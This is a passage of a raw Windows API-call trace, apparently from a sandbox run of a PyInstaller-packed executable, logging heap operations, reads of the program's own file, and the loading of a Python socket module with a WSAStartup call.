[0074.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x768) returned 0x2c7f2c8 [0074.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa48 | out: hHeap=0x2ad0000) returned 1 [0074.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x764) returned 0x2c7fa38 [0074.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x760) returned 0x2c7f2c8 [0074.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa38 | out: hHeap=0x2ad0000) returned 1 [0074.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x75c) returned 0x2c7fa38 [0074.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x758) returned 0x2c7f2c8 [0074.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa38 | out: hHeap=0x2ad0000) returned 1 [0074.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x754) returned 0x2c7fa28 [0074.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x750) returned 0x2c7f2c8 [0074.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa28 | out: hHeap=0x2ad0000) returned 1 [0074.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x748) returned 0x2c7fa28 [0074.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x744) returned 0x2c7f2c8 [0074.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa28 | out: hHeap=0x2ad0000) returned 1 [0074.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x740) returned 0x2c7fa18 [0074.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x73c) returned 0x2c7f2c8 [0074.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa18 | out: hHeap=0x2ad0000) returned 1 [0074.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x738) returned 0x2c7fa18 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x734) returned 0x2c7f2c8 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa18 | out: hHeap=0x2ad0000) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x730) returned 0x2c7fa08 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x72c) returned 0x2c7f2c8 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa08 | out: hHeap=0x2ad0000) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x728) returned 0x2c7fa08 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x724) returned 0x2c7f2c8 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa08 | out: hHeap=0x2ad0000) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x720) returned 0x2c7f9f8 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x71c) returned 0x2c7f2c8 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f9f8 | out: hHeap=0x2ad0000) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x718) returned 0x2c7f9f8 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x714) returned 0x2c7f2c8 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f9f8 | out: hHeap=0x2ad0000) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x710) returned 0x2c7f9e8 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x708) returned 0x2c7f2c8 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f9e8 | out: hHeap=0x2ad0000) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x704) returned 0x2c7f9d8 [0074.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x700) returned 0x2c7f2c8 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f9d8 | out: hHeap=0x2ad0000) returned 1 [0074.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6fc) returned 0x2c7f9d8 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f9d8 | out: hHeap=0x2ad0000) returned 1 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f9c8 | out: hHeap=0x2ad0000) returned 1 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f9c8 | out: hHeap=0x2ad0000) returned 1 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f9b8 | out: hHeap=0x2ad0000) returned 1 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f9b8 | out: hHeap=0x2ad0000) returned 1 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f9a8 | out: hHeap=0x2ad0000) returned 1 [0074.104] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bc5220, Size=0x800) returned 0x2c7ff48 [0074.105] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c7ff48, Size=0x1000) returned 0x2c7ff48 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetCurrentThreadId () returned 0x9b0 [0074.106] GetLastError () returned 0x0 [0074.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1fef8 [0074.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bc68 [0074.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bc68 | out: hHeap=0x2ad0000) returned 1 [0074.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af30 [0074.107] GetLastError () returned 0x0 [0074.107] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7f28, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.107] GetFileType (hFile=0x1ec) returned 0x1 [0074.107] GetLastError () returned 0x0 [0074.107] GetCurrentThreadId () returned 0x9b0 [0074.107] GetLastError () returned 0x0 [0074.107] GetFileType (hFile=0x1ec) returned 0x1 [0074.107] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7fa4 | out: lpFileInformation=0x9b7fa4) returned 1 [0074.107] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.107] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.107] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb0, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.107] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.107] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fa8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.107] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.107] GetLastError () returned 0x0 [0074.107] GetCurrentThreadId () returned 0x9b0 [0074.107] GetLastError () returned 0x0 [0074.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0074.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0074.108] GetLastError () returned 0x0 [0074.108] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7835919, lpDistanceToMoveHigh=0x9b8058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b8058*=0) returned 0x77910f [0074.108] GetLastError () returned 0x0 [0074.108] GetCurrentThreadId () returned 0x9b0 [0074.108] GetLastError () returned 0x0 [0074.108] GetCurrentThreadId () returned 0x9b0 [0074.108] GetLastError () returned 0x0 [0074.108] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8583860, lpDistanceToMoveHigh=0x9b83f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b83f0*=0) returned 0x82fab4 [0074.108] GetLastError () returned 0x0 [0074.108] GetCurrentThreadId () returned 0x9b0 [0074.108] GetLastError () returned 0x0 [0074.108] GetCurrentThreadId () returned 0x9b0 [0074.108] GetCurrentThreadId () returned 0x9b0 [0074.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1b73) returned 0x2c7f2c8 [0074.108] GetLastError () returned 0x0 [0074.108] ReadFile (in: hFile=0x1ec, lpBuffer=0x2c7f2dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b83b8, lpOverlapped=0x0 | out: lpBuffer=0x2c7f2dc*, lpNumberOfBytesRead=0x9b83b8*=0x1000, lpOverlapped=0x0) returned 1 [0074.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c20250 [0074.113] ReadFile (in: hFile=0x1ec, lpBuffer=0x2c20250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b83a4, lpOverlapped=0x0 | out: lpBuffer=0x2c20250*, lpNumberOfBytesRead=0x9b83a4*=0x1000, lpOverlapped=0x0) returned 1 [0074.113] GetLastError () returned 0x0 [0074.113] GetCurrentThreadId () returned 0x9b0 [0074.113] GetLastError () returned 0x0 [0074.113] GetCurrentThreadId () returned 0x9b0 [0074.113] GetLastError () returned 0x0 [0074.113] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b707c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b707c*=0) returned 0x831ab4 [0074.113] GetLastError () returned 0x0 [0074.113] GetCurrentThreadId () returned 0x9b0 [0074.113] GetLastError () returned 0x0 [0074.113] GetLastError () returned 0x0 [0074.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c20250 | out: hHeap=0x2ad0000) returned 1 [0074.113] CloseHandle (hObject=0x1ec) returned 1 [0074.113] GetLastError () returned 0x0 [0074.113] GetCurrentThreadId () returned 0x9b0 [0074.113] GetLastError () returned 0x0 [0074.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2c91af8 [0074.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2c936d0 [0074.114] GetLastError () returned 0x0 [0074.114] GetCurrentThreadId () returned 0x9b0 [0074.114] GetLastError () returned 0x0 [0074.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c91af8 | out: hHeap=0x2ad0000) returned 1 [0074.114] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c936d0, Size=0x3caf) returned 0x2c936d0 [0074.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x401) returned 0x2bc5220 [0074.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x724) returned 0x2c91af8 [0074.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bec0 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c7bec0, Size=0x20) returned 0x2a1f920 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f920, Size=0x40) returned 0x2a19130 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19130, Size=0x64) returned 0x2a19578 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19578, Size=0x8c) returned 0x2ac0e68 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0e68, Size=0xb8) returned 0x2ac1978 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1978, Size=0xe8) returned 0x2ac22f0 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac22f0, Size=0x120) returned 0x2ba57e0 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba57e0, Size=0x160) returned 0x2c37a00 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37a00, Size=0x1a8) returned 0x2ac8d88 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac8d88, Size=0x1f8) returned 0x2c319f0 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c319f0, Size=0x250) returned 0x2ac4490 [0074.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x22d) returned 0x2bbdc70 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4490, Size=0x2b4) returned 0x2c2c1a0 [0074.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x42f) returned 0x2bc9150 [0074.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x278) returned 0x2ba51f0 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2c1a0, Size=0x324) returned 0x2bac300 [0074.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bac300, Size=0x3a4) returned 0x2ba5470 [0074.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba5470 | out: hHeap=0x2ad0000) returned 1 [0074.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c936d0 | out: hHeap=0x2ad0000) returned 1 [0074.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aee0 [0074.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aee0 | out: hHeap=0x2ad0000) returned 1 [0074.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbc900 [0074.116] GetCurrentThreadId () returned 0x9b0 [0074.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8df8 [0074.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba72a0 [0074.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba81f0 [0074.116] GetCurrentThreadId () returned 0x9b0 [0074.116] GetCurrentThreadId () returned 0x9b0 [0074.116] GetCurrentThreadId () returned 0x9b0 [0074.116] GetCurrentThreadId () returned 0x9b0 [0074.116] GetCurrentThreadId () returned 0x9b0 [0074.116] GetCurrentThreadId () returned 0x9b0 [0074.116] GetCurrentThreadId () returned 0x9b0 [0074.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba81f0 | out: hHeap=0x2ad0000) returned 1 [0074.116] GetCurrentThreadId () returned 0x9b0 [0074.116] GetLastError () returned 0x0 [0074.116] GetLastError () returned 0x0 [0074.116] GetLastError () returned 0x0 [0074.116] GetLastError () returned 0x0 [0074.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38) returned 0x2a8a428 [0074.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bec0 [0074.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bec0 | out: hHeap=0x2ad0000) returned 1 [0074.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8aff0 [0074.117] GetLastError () returned 0x0 [0074.117] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_socket.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\_socket.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7d40, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.117] GetFileType (hFile=0x1ec) returned 0x1 [0074.117] GetLastError () returned 0x0 [0074.117] GetCurrentThreadId () returned 0x9b0 [0074.117] GetLastError () returned 0x0 [0074.117] GetFileType (hFile=0x1ec) returned 0x1 [0074.117] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7dbc | out: lpFileInformation=0x9b7dbc) returned 1 [0074.117] FileTimeToLocalFileTime (in: lpFileTime=0x9b7dd0, lpLocalFileTime=0x9b7e00 | out: lpLocalFileTime=0x9b7e00) returned 1 [0074.117] FileTimeToSystemTime (in: lpFileTime=0x9b7e00, lpSystemTime=0x9b7df0 | out: lpSystemTime=0x9b7df0) returned 1 [0074.117] FileTimeToLocalFileTime (in: lpFileTime=0x9b7dc8, lpLocalFileTime=0x9b7e00 | out: lpLocalFileTime=0x9b7e00) returned 1 [0074.117] FileTimeToSystemTime (in: lpFileTime=0x9b7e00, lpSystemTime=0x9b7df0 | out: lpSystemTime=0x9b7df0) returned 1 [0074.117] FileTimeToLocalFileTime (in: lpFileTime=0x9b7dc0, lpLocalFileTime=0x9b7e00 | out: lpLocalFileTime=0x9b7e00) returned 1 [0074.117] FileTimeToSystemTime (in: lpFileTime=0x9b7e00, lpSystemTime=0x9b7df0 | out: lpSystemTime=0x9b7df0) returned 1 [0074.117] GetLastError () returned 0x0 [0074.118] GetCurrentThreadId () returned 0x9b0 [0074.118] GetLastError () returned 0x0 [0074.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aff0 | out: hHeap=0x2ad0000) returned 1 [0074.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0074.118] GetLastError () returned 0x0 [0074.118] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_socket.pyd", nBufferLength=0x104, lpBuffer=0x9b7b04, lpFilePart=0x9b7afc | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_socket.pyd", lpFilePart=0x9b7afc*="_socket.pyd") returned 0x37 [0074.118] ActivateActCtx (in: hActCtx=0x1050d14, lpCookie=0x9b7ae4 | out: hActCtx=0x1050d14, lpCookie=0x9b7ae4) returned 1 [0074.118] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_socket.pyd", hFile=0x0, dwFlags=0x8) [0074.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2a86ac0 [0074.124] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2a86ac0) returned 0x80 [0074.125] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2a86ac0) returned 0x80 [0074.125] GetLastError () returned 0x0 [0074.125] GetProcAddress (hModule=0x74290000, lpProcName="init_socket") returned 0x742957a0 [0074.126] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x9b7cf8 | out: lpWSAData=0x9b7cf8) returned 0 [0074.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbad70 [0074.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af80 [0074.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a1ff28 [0074.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bec0 [0074.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aed0 [0074.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af50 [0074.129] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aed0, Size=0x14) returned 0x2a71940 [0074.129] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71940, Size=0x24) returned 0x2a200d8 [0074.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0074.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bec0 | out: hHeap=0x2ad0000) returned 1 [0074.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff28 | out: hHeap=0x2ad0000) returned 1 [0074.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af80 | out: hHeap=0x2ad0000) returned 1 [0074.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0074.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b050 [0074.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20228 [0074.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bec0 [0074.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b010 [0074.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afa0 [0074.129] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b010, Size=0x14) returned 0x2a71660 [0074.129] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71660, Size=0x24) returned 0x2a20258 [0074.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afa0 | out: hHeap=0x2ad0000) returned 1 [0074.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bec0 | out: hHeap=0x2ad0000) returned 1 [0074.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20228 | out: hHeap=0x2ad0000) returned 1 [0074.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b050 | out: hHeap=0x2ad0000) returned 1 [0074.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0074.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bec0 [0074.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c16af0 [0074.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbad70 | out: hHeap=0x2ad0000) returned 1 [0074.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aff0 [0074.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1fef8 [0074.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bcb0 [0074.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af20 [0074.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af50 [0074.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af20, Size=0x14) returned 0x2a71700 [0074.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71700, Size=0x24) returned 0x2a20138 [0074.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0074.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bcb0 | out: hHeap=0x2ad0000) returned 1 [0074.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0074.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aff0 | out: hHeap=0x2ad0000) returned 1 [0074.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0074.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae90 [0074.130] RtlAllocateHeap 